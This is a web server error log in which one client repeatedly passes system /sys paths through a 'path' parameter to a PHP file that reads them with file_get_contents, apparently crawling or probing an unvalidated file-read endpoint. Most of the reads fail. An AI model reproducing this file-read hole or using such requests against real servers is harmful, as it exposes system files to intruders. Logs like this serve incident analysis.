[Sat Mar 28 00:04:37.621089 2026] [php:warn] [pid 88871] [client 74.7.243.205:36232] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:ab/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:ab/physical_node
[Sat Mar 28 00:04:41.446932 2026] [php:warn] [pid 88884] [client 74.7.243.205:39242] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:ab/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:ab/physical_node
[Sat Mar 28 00:04:51.527638 2026] [php:warn] [pid 88884] [client 74.7.243.205:39242] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/physical_node
[Sat Mar 28 00:06:23.221171 2026] [php:warn] [pid 89909] [client 74.7.243.205:46318] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2a/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2a/subsystem/devices/device:eb/device:ec
[Sat Mar 28 00:06:44.418611 2026] [php:notice] [pid 88870] [client 74.7.243.205:48414] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:c8/subsystem/devices/device:af/power
[Sat Mar 28 00:08:08.137609 2026] [php:notice] [pid 89909] [client 74.7.243.205:37244] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:1e/subsystem/devices/device:db/power
[Sat Mar 28 00:08:08.648901 2026] [php:warn] [pid 89909] [client 74.7.243.205:37244] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:1b/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:1b/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:08:15.131281 2026] [php:notice] [pid 88872] [client 74.7.243.205:60900] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:1e/subsystem/devices/device:be/power
[Sat Mar 28 00:08:16.161712 2026] [php:warn] [pid 88872] [client 74.7.243.205:60900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:1b/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:1b/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:08:19.842496 2026] [php:warn] [pid 88872] [client 74.7.243.205:60900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:1b/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:1b/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:08:23.606044 2026] [php:warn] [pid 88872] [client 74.7.243.205:60900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:1b/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:1b/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:08:45.657347 2026] [php:warn] [pid 88872] [client 74.7.243.205:60900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:df/device:e0/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:df/device:e0/subsystem/devices/device:ca
[Sat Mar 28 00:08:55.142781 2026] [php:warn] [pid 88872] [client 74.7.243.205:60900] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:df/device:e0/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:df/device:e0/subsystem/devices/device:ac
[Sat Mar 28 00:09:00.434215 2026] [php:notice] [pid 88872] [client 74.7.243.205:60900] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:df/device:e0/subsystem/devices/device:af/power
[Sat Mar 28 00:09:20.827995 2026] [php:warn] [pid 88900] [client 74.7.243.205:54192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b0/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b0/subsystem/devices/device:fb/device:fc
[Sat Mar 28 00:09:49.228124 2026] [php:warn] [pid 88900] [client 74.7.243.205:54192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:7a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:7a
[Sat Mar 28 00:10:01.085757 2026] [php:warn] [pid 89261] [client 74.7.243.205:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:e9/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:e9/subsystem/drivers/ac
[Sat Mar 28 00:10:14.227940 2026] [php:warn] [pid 89261] [client 74.7.243.205:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1a/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1a/subsystem/devices/device:cc
[Sat Mar 28 00:10:27.850715 2026] [php:notice] [pid 89261] [client 74.7.243.205:39294] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1a/subsystem/devices/device:ac/power
[Sat Mar 28 00:12:18.166866 2026] [php:warn] [pid 88871] [client 74.7.243.205:44640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:5a/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:5a/subsystem/devices/device:ee
[Sat Mar 28 00:15:05.866300 2026] [php:notice] [pid 93716] [client 74.7.243.205:52262] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ee/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:b1/power
[Sat Mar 28 00:16:01.476032 2026] [php:warn] [pid 88871] [client 74.7.243.205:51514] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:a9/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:a9/subsystem/devices/device:ea
[Sat Mar 28 00:16:05.176401 2026] [php:notice] [pid 88871] [client 74.7.243.205:51514] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:a9/subsystem/devices/device:ad/power
[Sat Mar 28 00:16:07.408534 2026] [php:notice] [pid 88871] [client 74.7.243.205:51514] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:a9/subsystem/devices/device:da/power
[Sat Mar 28 00:16:49.288423 2026] [php:warn] [pid 89918] [client 74.7.243.205:34320] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:a9/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:a9/device:aa
[Sat Mar 28 00:17:31.053424 2026] [php:notice] [pid 93756] [client 74.7.243.205:44482] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:9e/subsystem/devices/device:ef/power
[Sat Mar 28 00:17:32.680883 2026] [php:warn] [pid 93756] [client 74.7.243.205:44482] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:0f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:0f
[Sat Mar 28 00:17:52.184929 2026] [php:warn] [pid 93756] [client 74.7.243.205:44482] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:de/subsystem/devices/device:6a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:de/subsystem/devices/device:6a
[Sat Mar 28 00:17:54.886386 2026] [php:warn] [pid 93756] [client 74.7.243.205:44482] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:a9/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:a9/subsystem/drivers/ec
[Sat Mar 28 00:18:36.092794 2026] [php:warn] [pid 93755] [client 74.7.243.205:46224] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:2f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:2f
[Sat Mar 28 00:19:30.076746 2026] [php:warn] [pid 93758] [client 74.7.243.205:57766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/device:100/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/device:100
[Sat Mar 28 00:19:34.747993 2026] [php:warn] [pid 93758] [client 74.7.243.205:57766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:cb/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:cb/physical_node
[Sat Mar 28 00:19:37.873091 2026] [php:warn] [pid 93758] [client 74.7.243.205:57766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:cb/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:cb/physical_node
[Sat Mar 28 00:19:38.908626 2026] [php:warn] [pid 93758] [client 74.7.243.205:57766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:cb/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:cb/physical_node
[Sat Mar 28 00:19:46.159939 2026] [php:warn] [pid 93758] [client 74.7.243.205:57766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:ad/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:19:47.749988 2026] [php:warn] [pid 93758] [client 74.7.243.205:57766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:ad/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:19:52.561611 2026] [php:warn] [pid 93707] [client 74.7.243.205:60818] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:cb/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:cb/physical_node
[Sat Mar 28 00:19:53.133316 2026] [php:warn] [pid 93707] [client 74.7.243.205:60818] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:19:53.614986 2026] [php:warn] [pid 93707] [client 74.7.243.205:60818] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:ad/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:19:57.240106 2026] [php:warn] [pid 93707] [client 74.7.243.205:60818] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:20:07.745574 2026] [php:warn] [pid 93707] [client 74.7.243.205:60818] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:20:08.746792 2026] [php:warn] [pid 93707] [client 74.7.243.205:60818] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:20:14.063712 2026] [php:notice] [pid 93707] [client 74.7.243.205:60818] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:a1/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/power
[Sat Mar 28 00:20:14.591763 2026] [php:warn] [pid 93707] [client 74.7.243.205:60818] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:ad/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:0b/subsystem/devices/device:ad/physical_node
[Sat Mar 28 00:21:16.306601 2026] [php:warn] [pid 93831] [client 74.7.243.205:34974] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:3d/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:3d/subsystem/drivers/ac
[Sat Mar 28 00:21:47.056427 2026] [php:warn] [pid 93746] [client 74.7.243.205:58650] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:7c/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/device:100/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:7c/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/device:100
[Sat Mar 28 00:21:50.228340 2026] [php:notice] [pid 93746] [client 74.7.243.205:58650] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:7c/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/power
